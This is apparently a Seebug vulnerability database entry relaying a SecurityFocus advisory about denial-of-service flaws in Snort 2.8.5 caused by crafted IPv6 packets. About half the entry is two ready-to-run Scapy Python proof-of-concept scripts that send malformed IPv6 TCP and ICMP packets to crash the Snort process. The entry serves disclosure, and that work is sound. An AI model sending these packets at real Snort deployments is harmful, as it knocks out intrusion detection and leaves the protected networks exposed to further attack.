Snort 2.8.5 Multiple Denial Of Service Vulnerabilities

2014-07-01T00:00:00
ID SSV:86535
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

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                                                source: http://www.securityfocus.com/bid/36795/info

Snort is prone to multiple denial-of-service vulnerabilities because the application fails to properly process specially crafted IPv6 packets.

Attackers can exploit these issues to crash the affected application, causing denial-of-service conditions.

These issues affect Snort 2.8.5; other versions may also be vulnerable.

You can reproduce theses two differents bugs easily by using the Python low-level networking lib Scapy
(http://www.secdev.org/projects/scapy/files/scapy-latest.zip)

1) #only works on x86

#/usr/bin/env python
from scapy.all import *
u = "\x92"+"\x02" * 6
send(IPv6(dst="IPv6_addr_here", nh=6)/u) #nh6 -> TCP

2) # works x86,x64

#/usr/bin/env python
from scapy.all import *

z = "Q" * 30
send(IPv6(dst="IPv6_ADDR_HERE",nh=1)/ICMPv6NIQueryNOOP(type=4)/z) #nh1 -> icmp (not v6)